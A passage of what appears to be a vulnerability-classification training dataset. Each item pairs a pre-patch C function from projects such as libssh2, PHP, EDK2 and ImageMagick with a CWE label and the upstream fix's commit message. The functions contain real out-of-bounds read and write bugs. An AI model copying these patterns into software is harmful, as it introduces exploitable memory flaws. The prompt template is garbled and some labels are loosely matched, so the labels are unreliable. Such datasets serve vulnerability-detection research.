255;\n\tvterm_state_set_palette_color(state, index, &color);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'patch 8.1.0633: crash when out of memory while opening a terminal window\n\nProblem: Crash when out of memory while opening a terminal window.\nSolution: Handle out-of-memory more gracefully.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void png_print_chunk(unsigned type, unsigned char* data, unsigned size)\n{\n\tchar tag[5];\n\tunsigned i;\n\n\tbe_uint32_write(tag, type);\n\ttag[4] = 0;\n\n\tcout << tag << setw(8) << size;\n\n\tswitch (type) {\n\t\tcase ADV_MNG_CN_MHDR :\n\t\t\tcout << \" width:\" << be_uint32_read(data+0) << \" height:\" << be_uint32_read(data+4) << \" frequency:\" << be_uint32_read(data+8);\n\t\t\tcout << \" simplicity:\" << be_uint32_read(data+24);\n\t\t\tcout << \"(bit\";\n\t\t\tfor(i=0;i<32;++i) {\n\t\t\t\tif (be_uint32_read(data+24) & (1 << i)) {\n\t\t\t\t\tcout << \",\" << i;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << \")\";\n\t\tbreak;\n\t\tcase ADV_MNG_CN_DHDR :\n\t\t\tcout << \" id:\" << be_uint16_read(data+0);\n\t\t\tswitch (data[2]) {\n\t\t\t\tcase 0 : cout << \" img:unspecified\"; break;\n\t\t\t\tcase 1 : cout << \" img:png\"; break;\n\t\t\t\tcase 2 : cout << \" img:jng\"; break;\n\t\t\t\tdefault: cout << \" img:?\"; break;\n\t\t\t}\n\t\t\tswitch (data[3]) {\n\t\t\t\tcase 0 : cout << \" delta:entire_replacement\"; break;\n\t\t\t\tcase 1 : cout << \" delta:block_addition\"; break;\n\t\t\t\tcase 2 : cout << \" delta:block_alpha_addition\"; break;\n\t\t\t\tcase 3 : cout << \" delta:block_color_addition\"; break;\n\t\t\t\tcase 4 : cout << \" delta:block_replacement\"; break;\n\t\t\t\tcase 5 : cout << \" delta:block_alpha_replacement\"; break;\n\t\t\t\tcase 6 : cout << \" delta:block_color_replacement\"; break;\n\t\t\t\tcase 7 : cout << \" delta:no_change\"; break;\n\t\t\t\tdefault: cout << \" delta:?\"; break;\n\t\t\t}\n\t\t\tif (size >= 12) {\n\t\t\t\tcout << \" width:\" << be_uint32_read(data + 4) << \" height:\" << be_uint32_read(data + 8);\n\t\t\t}\n\t\t\tif (size >= 20) {\n\t\t\t\tcout << \" x:\" << (int)be_uint32_read(data + 12) << \" y:\" << (int)be_uint32_read(data + 16);\n\t\t\t}\n\t\tbreak;\n\t\tcase ADV_MNG_CN_FRAM :\n\t\t\tif (size >= 1) {\n\t\t\t\tcout << \" mode:\" << (unsigned)data[0];\n\t\t\t}\n\t\t\tif (size > 1) {\n\t\t\t\ti = 1;\n\t\t\t\twhile (i < size && data[i]!=0)\n\t\t\t\t\t++i;\n\t\t\t\tcout << \" len:\" << i-1;\n\n\t\t\t\tif (size >= i+2) {\n\t\t\t\t\tcout << \" delay_mode:\" << (unsigned)data[i+1];\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+3) {\n\t\t\t\t\tcout << \" timeout:\" << (unsigned)data[i+2];\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+4) {\n\t\t\t\t\tcout << \" clip:\" << (unsigned)data[i+3];\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+5) {\n\t\t\t\t\tcout << \" syncid:\" << (unsigned)data[i+4];\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+9) {\n\t\t\t\t\tcout << \" tick:\" << be_uint32_read(data+i+5);\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+13) {\n\t\t\t\t\tcout << \" timeout:\" << be_uint32_read(data+i+9);\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+14) {\n\t\t\t\t\tcout << \" dt:\" << (unsigned)data[i+10];\n\t\t\t\t}\n\n\t\t\t\tif (size >= i+15) {\n\t\t\t\t\tcout << \" ...\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase ADV_MNG_CN_DEFI :\n\t\t\tcout << \" id:\" << be_uint16_read(data+0);\n\t\t\tif (size >= 3) {\n\t\t\t\tswitch (data[2]) {\n\t\t\t\t\tcase 0 : cout << \" visible:yes\"; break;\n\t\t\t\t\tcase 1 : cout << \" visible:no\"; break;\n\t\t\t\t\tdefault : cout << \" visible:?\"; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (size >= 4) {\n\t\t\t\tswitch (data[3]) {\n\t\t\t\t\tcase 0 : cout << \" concrete:abstract\"; break;\n\t\t\t\t\tcase 1 : cout << \" concrete:concrete\"; break;\n\t\t\t\t\tdefault : cout << \" concrete:?\"; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (size >= 12) {\n\t\t\t\tcout << \" x:\" << (int)be_uint32_read(data + 4) << \" y:\" << (int)be_uint32_read(data + 8);\n\t\t\t}\n\t\t\tif (size >= 28) {\n\t\t\t\tcout << \" left:\" << be_uint32_read(data + 12) << \" right:\" << be_uint32_read(data + 16) << \" top:\" << be_uint32_read(data + 20) << \" bottom:\" << be_uint32_read(data + 24);\n\t\t\t}\n\t\tbreak;\n\t\tcase ADV_MNG_CN_MOVE :\n\t\t\tcout << \" id_from:\" << be_uint16_read(data+0) << \" id_to:\" << be_uint16_read(data+2);\n\t\t\tswitch (data[4]) {\n\t\t\t\tcase 0 : cout << \" type:replace\"; break;\n\t\t\t\tcase 1 : cout << \" type:add\"; break;\n\t\t\t\tdefault : cout << \" type:?\"; break;\n\t\t\t}\n\t\t\tcout << \" x:\" << (int)be_uint32_read(data + 5) << \" y:\" << (int)be_uint32_read(data + 9);\n\t\t\tbreak;\n\t\tcase ADV_MNG_CN_PPLT :\n\t\t\tswitch (data[0]) {\n\t\t\t\tcase 0 : cout << \" type:replacement_rgb\"; break;\n\t\t\t\tcase 1 : cout << \" type:delta_rgb\"; break;\n\t\t\t\tcase 2 : cout << \" type:replacement_alpha\"; break;\n\t\t\t\tcase 3 : cout << \" type:delta_alpha\"; break;\n\t\t\t\tcase 4 : cout << \" type:replacement_rgba\"; break;\n\t\t\t\tcase 5 : cout << \" type:delta_rgba\"; break;\n\t\t\t\tdefault : cout << \" type:?\"; break;\n\t\t\t}\n\t\t\ti = 1;\n\t\t\twhile (i \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix a buffer overflow caused by invalid chunks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xml_element* xml_elem_parse_buf(const char* in_buf, int len, XML_ELEM_INPUT_OPTIONS options, XML_ELEM_ERROR error)\n{\n xml_element* xReturn = NULL;\n char buf[100] = \"\";\n static STRUCT_XML_ELEM_INPUT_OPTIONS default_opts = {encoding_utf_8};\n\n if(!options) {\n options = &default_opts;\n }\n\n if(in_buf) {\n XML_Parser parser;\n xml_elem_data mydata = {0};\n\n parser = XML_ParserCreate(NULL);\n\n mydata.root = xml_elem_new();\n mydata.current = mydata.root;\n mydata.input_options = options;\n mydata.needs_enc_conversion = options->encoding && strcmp(options->encoding, encoding_utf_8);\n\n XML_SetElementHandler(parser, (XML_StartElementHandler)_xmlrpc_startElement, (XML_EndElementHandler)_xmlrpc_endElement);\n XML_SetCharacterDataHandler(parser, (XML_CharacterDataHandler)_xmlrpc_charHandler);\n\n /* pass the xml_elem_data struct along */\n XML_SetUserData(parser, (void*)&mydata);\n\n if(!len) {\n len = strlen(in_buf);\n }\n\n /* parse the XML */\n if(XML_Parse(parser, in_buf, len, 1) == 0) {\n enum XML_Error err_code = XML_GetErrorCode(parser);\n int line_num = XML_GetCurrentLineNumber(parser);\n int col_num = XML_GetCurrentColumnNumber(parser);\n long byte_idx = XML_GetCurrentByteIndex(parser);\n int byte_total = XML_GetCurrentByteCount(parser);\n const char * error_str = XML_ErrorString(err_code);\n if(byte_idx >= 0) {\n snprintf(buf, \n sizeof(buf),\n \"\\n\\tdata beginning %ld before byte index: %s\\n\",\n byte_idx > 10 ? 10 : byte_idx,\n in_buf + (byte_idx > 10 ? byte_idx - 10 : byte_idx));\n }\n\n fprintf(stderr, \"expat reports error code %i\\n\"\n \"\\tdescription: %s\\n\"\n \"\\tline: %i\\n\"\n \"\\tcolumn: %i\\n\"\n \"\\tbyte index: %ld\\n\"\n \"\\ttotal bytes: %i\\n%s \",\n err_code, error_str, line_num, \n col_num, byte_idx, byte_total, buf);\n\n\n /* error condition */\n if(error) {\n error->parser_code = (long)err_code;\n error->line = line_num;\n error->column = col_num;\n error->byte_index = byte_idx;\n error->parser_error = error_str;\n }\n }\n else {\n xReturn = (xml_element*)Q_Head(&mydata.root->children);\n xReturn->parent = NULL;\n }\n\n XML_ParserFree(parser);\n\n\n xml_elem_free_non_recurse(mydata.root);\n }\n\n return xReturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'MFH: Fixed bug #46746 (xmlrpc_decode_request outputs non-suppressable error\nwhen given bad data).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(mb_split)\n{\n\tchar *arg_pattern;\n\tsize_t arg_pattern_len;\n\tphp_mb_regex_t *re;\n\tOnigRegion *regs = NULL;\n\tchar *string;\n\tOnigUChar *pos, *chunk_pos;\n\tsize_t string_len;\n\n\tint err;\n\tsize_t n;\n\tzend_long count = -1;\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS(), \"ss|l\", &arg_pattern, &arg_pattern_len, &string, &string_len, &count) == FAILURE) {\n\t\tRETURN_FALSE;\n\t}\n\n\tif (count > 0) {\n\t\tcount--;\n\t}\n\n\t/* create regex pattern buffer */\n\tif ((re = php_mbregex_compile_pattern(arg_pattern, arg_pattern_len, MBREX(regex_default_options), MBREX(current_mbctype), MBREX(regex_default_syntax))) == NULL) {\n\t\tRETURN_FALSE;\n\t}\n\n\tarray_init(return_value);\n\n\tchunk_pos = pos = (OnigUChar *)string;\n\terr = 0;\n\tregs = onig_region_new();\n\t/* churn through str, generating array entries as we go */\n\twhile (count != 0 && (size_t)(pos - (OnigUChar *)string) < string_len) {\n\t\tsize_t beg, end;\n\t\terr = onig_search(re, (OnigUChar *)string, (OnigUChar *)(string + string_len), pos, (OnigUChar *)(string + string_len), regs, 0);\n\t\tif (err < 0) {\n\t\t\tbreak;\n\t\t}\n\t\tbeg = regs->beg[0], end = regs->end[0];\n\t\t/* add it to the array */\n\t\tif ((size_t)(pos - (OnigUChar *)string) < end) {\n\t\t\tif (beg < string_len && beg >= (size_t)(chunk_pos - (OnigUChar *)string)) {\n\t\t\t\tadd_next_index_stringl(return_value, (char *)chunk_pos, ((OnigUChar *)(string + beg) - chunk_pos));\n\t\t\t\t--count;\n\t\t\t} else {\n\t\t\t\terr = -2;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t/* point at our new starting point */\n\t\t\tchunk_pos = pos = (OnigUChar *)string + end;\n\t\t} else {\n\t\t\tpos++;\n\t\t}\n\t\tonig_region_free(regs, 0);\n\t}\n\n\tonig_region_free(regs, 1);\n\n\t/* see if we encountered an error */\n\tif (err <= -2) {\n\t\tOnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN];\n\t\tonig_error_code_to_str(err_str, err);\n\t\tphp_error_docref(NULL, E_WARNING, \"mbregex search failure in mbsplit(): %s\", err_str);\n\t\tzend_array_destroy(Z_ARR_P(return_value));\n\t\tRETURN_FALSE;\n\t}\n\n\t/* otherwise we just have one last element to add to the array */\n\tn = ((OnigUChar *)(string + string_len) - chunk_pos);\n\tif (n > 0) {\n\t\tadd_next_index_stringl(return_value, (char *)chunk_pos, n);\n\t} else {\n\t\tadd_next_index_stringl(return_value, \"\", 0);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix #77367: Negative size parameter in mb_split\n\nWhen adding the last element to the result value of `mb_split`, the\n`chunk_pos` may point beyond the end of the string, in which case the\nunsigned `n` would underflow. Therefore, we check whether this is the\ncase in the first place, and only calculate `n` otherwise. Since `n`\nis no longer used outside the block, we move its declaration inside.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Output8bitPixel (\r\n IN OUT EFI_IMAGE_INPUT *Image,\r\n IN UINT8 *Data,\r\n IN EFI_HII_IMAGE_PALETTE_INFO *PaletteInfo\r\n )\r\n{\r\n UINT16 Xpos;\r\n UINT16 Ypos;\r\n UINTN OffsetY;\r\n EFI_GRAPHICS_OUTPUT_BLT_PIXEL *BitMapPtr;\r\n EFI_GRAPHICS_OUTPUT_BLT_PIXEL PaletteValue[256];\r\n EFI_HII_IMAGE_PALETTE_INFO *Palette;\r\n UINTN PaletteSize;\r\n UINT16 PaletteNum;\r\n UINT8 Byte;\r\n\r\n ASSERT (Image != NULL && Data != NULL && PaletteInfo != NULL);\r\n\r\n BitMapPtr = Image->Bitmap;\r\n\r\n //\r\n // The bitmap should allocate each color index starting from 0.\r\n //\r\n PaletteSize = 0;\r\n CopyMem (&PaletteSize, PaletteInfo, sizeof (UINT16));\r\n PaletteSize += sizeof (UINT16);\r\n Palette = AllocateZeroPool (PaletteSize);\r\n ASSERT (Palette != NULL);\r\n if (Palette == NULL) {\r\n return;\r\n }\r\n CopyMem (Palette, PaletteInfo, PaletteSize);\r\n PaletteNum = (UINT16)(Palette->PaletteSize / sizeof (EFI_HII_RGB_PIXEL));\r\n ZeroMem (PaletteValue, sizeof (PaletteValue));\r\n CopyRgbToGopPixel (PaletteValue, Palette->PaletteValue, PaletteNum);\r\n FreePool (Palette);\r\n\r\n //\r\n // Convert the pixel from 8 bits to corresponding color.\r\n //\r\n for (Ypos = 0; Ypos < Image->Height; Ypos++) {\r\n OffsetY = BITMAP_LEN_8_BIT ((UINT32) Image->Width, Ypos);\r\n //\r\n // All bits are meaningful since the bitmap is 8 bits per pixel.\r\n //\r\n for (Xpos = 0; Xpos < Image->Width; Xpos++) {\r\n Byte = *(Data + OffsetY + Xpos);\r\n BitMapPtr[OffsetY + Xpos] = PaletteValue[Byte];\r\n }\r\n }\r\n\r\n}\r ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'MdeModulePkg/HiiImage: Fix stack overflow when corrupted BMP is parsed (CVE-2018-12181)\n\nREF: https://bugzilla.tianocore.org/show_bug.cgi?id=1135\n\nFor 4bit BMP, there are only 2^4 = 16 colors in the palette.\nBut when a corrupted BMP contains more than 16 colors in the palette,\ntoday's implementation wrongly copies all colors to the local\nPaletteValue[16] array which causes stack overflow.\n\nThe similar issue also exists in the logic to handle 8bit BMP.\n\nThe patch fixes the issue by only copies the first 16 or 256 colors\nin the palette depending on the BMP type.\n\nContributed-under: TianoCore Contribution Agreement 1.1\nSigned-off-by: Ray Ni \nCc: Liming Gao \nCc: Jiewen Yao \nReviewed-by: Jian J Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: channel_x11_req(LIBSSH2_CHANNEL *channel, int single_connection,\n const char *auth_proto, const char *auth_cookie,\n int screen_number)\n{\n LIBSSH2_SESSION *session = channel->session;\n unsigned char *s;\n static const unsigned char reply_codes[3] =\n { SSH_MSG_CHANNEL_SUCCESS, SSH_MSG_CHANNEL_FAILURE, 0 };\n size_t proto_len =\n auth_proto ? strlen(auth_proto) : (sizeof(\"MIT-MAGIC-COOKIE-1\") - 1);\n size_t cookie_len =\n auth_cookie ? strlen(auth_cookie) : LIBSSH2_X11_RANDOM_COOKIE_LEN;\n int rc;\n\n if(channel->reqX11_state == libssh2_NB_state_idle) {\n /* 30 = packet_type(1) + channel(4) + x11_req_len(4) + \"x11-req\"(7) +\n * want_reply(1) + single_cnx(1) + proto_len(4) + cookie_len(4) +\n * screen_num(4) */\n channel->reqX11_packet_len = proto_len + cookie_len + 30;\n\n /* Zero the whole thing out */\n memset(&channel->reqX11_packet_requirev_state, 0,\n sizeof(channel->reqX11_packet_requirev_state));\n\n _libssh2_debug(session, LIBSSH2_TRACE_CONN,\n \"Requesting x11-req for channel %lu/%lu: single=%d \"\n \"proto=%s cookie=%s screen=%d\",\n channel->local.id, channel->remote.id,\n single_connection,\n auth_proto ? auth_proto : \"MIT-MAGIC-COOKIE-1\",\n auth_cookie ? auth_cookie : \"\", screen_number);\n\n s = channel->reqX11_packet =\n LIBSSH2_ALLOC(session, channel->reqX11_packet_len);\n if(!channel->reqX11_packet) {\n return _libssh2_error(session, LIBSSH2_ERROR_ALLOC,\n \"Unable to allocate memory for pty-request\");\n }\n\n *(s++) = SSH_MSG_CHANNEL_REQUEST;\n _libssh2_store_u32(&s, channel->remote.id);\n _libssh2_store_str(&s, \"x11-req\", sizeof(\"x11-req\") - 1);\n\n *(s++) = 0x01; /* want_reply */\n *(s++) = single_connection ? 0x01 : 0x00;\n\n _libssh2_store_str(&s, auth_proto ? auth_proto : \"MIT-MAGIC-COOKIE-1\",\n proto_len);\n\n _libssh2_store_u32(&s, cookie_len);\n if(auth_cookie) {\n memcpy(s, auth_cookie, cookie_len);\n }\n else {\n int i;\n /* note: the extra +1 below is necessary since the sprintf()\n loop will always write 3 bytes so the last one will write\n the trailing zero at the LIBSSH2_X11_RANDOM_COOKIE_LEN/2\n border */\n unsigned char buffer[(LIBSSH2_X11_RANDOM_COOKIE_LEN / 2) + 1];\n\n _libssh2_random(buffer, LIBSSH2_X11_RANDOM_COOKIE_LEN / 2);\n for(i = 0; i < (LIBSSH2_X11_RANDOM_COOKIE_LEN / 2); i++) {\n snprintf((char *)&s[i*2], 3, \"%02X%c\", buffer[i], '\\0');\n }\n }\n s += cookie_len;\n\n _libssh2_store_u32(&s, screen_number);\n channel->reqX11_state = libssh2_NB_state_created;\n }\n\n if(channel->reqX11_state == libssh2_NB_state_created) {\n rc = _libssh2_transport_send(session, channel->reqX11_packet,\n channel->reqX11_packet_len,\n NULL, 0);\n if(rc == LIBSSH2_ERROR_EAGAIN) {\n _libssh2_error(session, rc,\n \"Would block sending X11-req packet\");\n return rc;\n }\n if(rc) {\n LIBSSH2_FREE(session, channel->reqX11_packet);\n channel->reqX11_packet = NULL;\n channel->reqX11_state = libssh2_NB_state_idle;\n return _libssh2_error(session, rc,\n \"Unable to send x11-req packet\");\n }\n LIBSSH2_FREE(session, channel->reqX11_packet);\n channel->reqX11_packet = NULL;\n\n _libssh2_htonu32(channel->reqX11_local_channel, channel->local.id);\n\n channel->reqX11_state = libssh2_NB_state_sent;\n }\n\n if(channel->reqX11_state == libssh2_NB_state_sent) {\n size_t data_len;\n unsigned char *data;\n unsigned char code;\n\n rc = _libssh2_packet_requirev(session, reply_codes, &data, &data_len,\n 1, channel->reqX11_local_channel, 4,\n &channel->reqX11_packet_requirev_state);\n if(rc == LIBSSH2_ERROR_EAGAIN) {\n return rc;\n }\n else if(rc) {\n channel->reqX11_state = libssh2_NB_state_idle;\n return _libssh2_error(session, rc,\n \"waiting for x11-req response packet\");\n }\n\n code = data[0];\n LIBSSH2_FREE(session, data);\n channel->reqX11_state = libssh2_NB_state_idle;\n\n if(code == SSH_MSG_CHANNEL_SUCCESS)\n return 0;\n }\n\n return _libssh2_error(session, LIBSSH2_ERROR_CHANNEL_REQUEST_DENIED,\n \"Unable to complete request for channel x11-req\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Security fixes (#315)\n\n* Bounds checks\r\n\r\nFixes for CVEs\r\nhttps://www.libssh2.org/CVE-2019-3863.html\r\nhttps://www.libssh2.org/CVE-2019-3856.html\r\n\r\n* Packet length bounds check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3855.html\r\n\r\n* Response length check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\n* Bounds check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3857.html\r\n\r\n* Bounds checking\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\nand additional data validation\r\n\r\n* Check bounds before reading into buffers\r\n\r\n* Bounds checking\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\n* declare SIZE_MAX and UINT_MAX if needed'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: hostkey_method_ssh_rsa_init(LIBSSH2_SESSION * session,\n const unsigned char *hostkey_data,\n size_t hostkey_data_len,\n void **abstract)\n{\n libssh2_rsa_ctx *rsactx;\n const unsigned char *s, *e, *n;\n unsigned long len, e_len, n_len;\n int ret;\n\n (void) hostkey_data_len;\n\n if(*abstract) {\n hostkey_method_ssh_rsa_dtor(session, abstract);\n *abstract = NULL;\n }\n\n s = hostkey_data;\n len = _libssh2_ntohu32(s);\n s += 4;\n\n if(len != 7 || strncmp((char *) s, \"ssh-rsa\", 7) != 0) {\n return -1;\n }\n s += 7;\n\n e_len = _libssh2_ntohu32(s);\n s += 4;\n\n e = s;\n s += e_len;\n n_len = _libssh2_ntohu32(s);\n s += 4;\n n = s;\n\n ret = _libssh2_rsa_new(&rsactx, e, e_len, n, n_len, NULL, 0,\n NULL, 0, NULL, 0, NULL, 0, NULL, 0, NULL, 0);\n if(ret) {\n return -1;\n }\n\n *abstract = rsactx;\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Security fixes (#315)\n\n* Bounds checks\r\n\r\nFixes for CVEs\r\nhttps://www.libssh2.org/CVE-2019-3863.html\r\nhttps://www.libssh2.org/CVE-2019-3856.html\r\n\r\n* Packet length bounds check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3855.html\r\n\r\n* Response length check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\n* Bounds check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3857.html\r\n\r\n* Bounds checking\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\nand additional data validation\r\n\r\n* Check bounds before reading into buffers\r\n\r\n* Bounds checking\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\n* declare SIZE_MAX and UINT_MAX if needed'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *userauth_list(LIBSSH2_SESSION *session, const char *username,\n unsigned int username_len)\n{\n static const unsigned char reply_codes[3] =\n { SSH_MSG_USERAUTH_SUCCESS, SSH_MSG_USERAUTH_FAILURE, 0 };\n /* packet_type(1) + username_len(4) + service_len(4) +\n service(14)\"ssh-connection\" + method_len(4) = 27 */\n unsigned long methods_len;\n unsigned char *s;\n int rc;\n\n if(session->userauth_list_state == libssh2_NB_state_idle) {\n /* Zero the whole thing out */\n memset(&session->userauth_list_packet_requirev_state, 0,\n sizeof(session->userauth_list_packet_requirev_state));\n\n session->userauth_list_data_len = username_len + 27;\n\n s = session->userauth_list_data =\n LIBSSH2_ALLOC(session, session->userauth_list_data_len);\n if(!session->userauth_list_data) {\n _libssh2_error(session, LIBSSH2_ERROR_ALLOC,\n \"Unable to allocate memory for userauth_list\");\n return NULL;\n }\n\n *(s++) = SSH_MSG_USERAUTH_REQUEST;\n _libssh2_store_str(&s, username, username_len);\n _libssh2_store_str(&s, \"ssh-connection\", 14);\n _libssh2_store_u32(&s, 4); /* send \"none\" separately */\n\n session->userauth_list_state = libssh2_NB_state_created;\n }\n\n if(session->userauth_list_state == libssh2_NB_state_created) {\n rc = _libssh2_transport_send(session, session->userauth_list_data,\n session->userauth_list_data_len,\n (unsigned char *)\"none\", 4);\n if(rc == LIBSSH2_ERROR_EAGAIN) {\n _libssh2_error(session, LIBSSH2_ERROR_EAGAIN,\n \"Would block requesting userauth list\");\n return NULL;\n }\n /* now free the packet that was sent */\n LIBSSH2_FREE(session, session->userauth_list_data);\n session->userauth_list_data = NULL;\n\n if(rc) {\n _libssh2_error(session, LIBSSH2_ERROR_SOCKET_SEND,\n \"Unable to send userauth-none request\");\n session->userauth_list_state = libssh2_NB_state_idle;\n return NULL;\n }\n\n session->userauth_list_state = libssh2_NB_state_sent;\n }\n\n if(session->userauth_list_state == libssh2_NB_state_sent) {\n rc = _libssh2_packet_requirev(session, reply_codes,\n &session->userauth_list_data,\n &session->userauth_list_data_len, 0,\n NULL, 0,\n &session->userauth_list_packet_requirev_state);\n if(rc == LIBSSH2_ERROR_EAGAIN) {\n _libssh2_error(session, LIBSSH2_ERROR_EAGAIN,\n \"Would block requesting userauth list\");\n return NULL;\n }\n else if(rc) {\n _libssh2_error(session, rc, \"Failed getting response\");\n session->userauth_list_state = libssh2_NB_state_idle;\n return NULL;\n }\n\n if(session->userauth_list_data[0] == SSH_MSG_USERAUTH_SUCCESS) {\n /* Wow, who'dve thought... */\n _libssh2_error(session, LIBSSH2_ERROR_NONE, \"No error\");\n LIBSSH2_FREE(session, session->userauth_list_data);\n session->userauth_list_data = NULL;\n session->state |= LIBSSH2_STATE_AUTHENTICATED;\n session->userauth_list_state = libssh2_NB_state_idle;\n return NULL;\n }\n\n methods_len = _libssh2_ntohu32(session->userauth_list_data + 1);\n\n /* Do note that the memory areas overlap! */\n memmove(session->userauth_list_data, session->userauth_list_data + 5,\n methods_len);\n session->userauth_list_data[methods_len] = '\\0';\n _libssh2_debug(session, LIBSSH2_TRACE_AUTH,\n \"Permitted auth methods: %s\",\n session->userauth_list_data);\n }\n\n session->userauth_list_state = libssh2_NB_state_idle;\n return (char *) session->userauth_list_data;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Security fixes (#315)\n\n* Bounds checks\r\n\r\nFixes for CVEs\r\nhttps://www.libssh2.org/CVE-2019-3863.html\r\nhttps://www.libssh2.org/CVE-2019-3856.html\r\n\r\n* Packet length bounds check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3855.html\r\n\r\n* Response length check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\n* Bounds check\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3857.html\r\n\r\n* Bounds checking\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\nand additional data validation\r\n\r\n* Check bounds before reading into buffers\r\n\r\n* Bounds checking\r\n\r\nCVE\r\nhttps://www.libssh2.org/CVE-2019-3859.html\r\n\r\n* declare SIZE_MAX and UINT_MAX if needed'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType DecodeImage(Image *image,unsigned char *luma,\n unsigned char *chroma1,unsigned char *chroma2)\n{\n#define IsSync(sum) ((sum & 0xffffff00UL) == 0xfffffe00UL)\n#define PCDGetBits(n) \\\n{ \\\n sum=(sum << n) & 0xffffffff; \\\n bits-=n; \\\n while (bits <= 24) \\\n { \\\n if (p >= (buffer+0x800)) \\\n { \\\n count=ReadBlob(image,0x800,buffer); \\\n p=buffer; \\\n } \\\n sum|=((unsigned int) (*p) << (24-bits)); \\\n bits+=8; \\\n p++; \\\n } \\\n}\n\n typedef struct PCDTable\n {\n unsigned int\n length,\n sequence;\n\n MagickStatusType\n mask;\n\n unsigned char\n key;\n } PCDTable;\n\n PCDTable\n *pcd_table[3];\n\n register ssize_t\n i,\n j;\n\n register PCDTable\n *r;\n\n register unsigned char\n *p,\n *q;\n\n size_t\n bits,\n length,\n plane,\n pcd_length[3],\n row,\n sum;\n\n ssize_t\n count,\n quantum;\n\n unsigned char\n *buffer;\n\n /*\n Initialize Huffman tables.\n */\n assert(image != (const Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(luma != (unsigned char *) NULL);\n assert(chroma1 != (unsigned char *) NULL);\n assert(chroma2 != (unsigned char *) NULL);\n buffer=(unsigned char *) AcquireQuantumMemory(0x800,sizeof(*buffer));\n if (buffer == (unsigned char *) NULL)\n ThrowBinaryImageException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n sum=0;\n bits=32;\n p=buffer+0x800;\n for (i=0; i < 3; i++)\n {\n pcd_table[i]=(PCDTable *) NULL;\n pcd_length[i]=0;\n }\n for (i=0; i < (image->columns > 1536 ? 3 : 1); i++)\n {\n PCDGetBits(8);\n length=(sum & 0xff)+1;\n pcd_table[i]=(PCDTable *) AcquireQuantumMemory(length,\n sizeof(*pcd_table[i]));\n 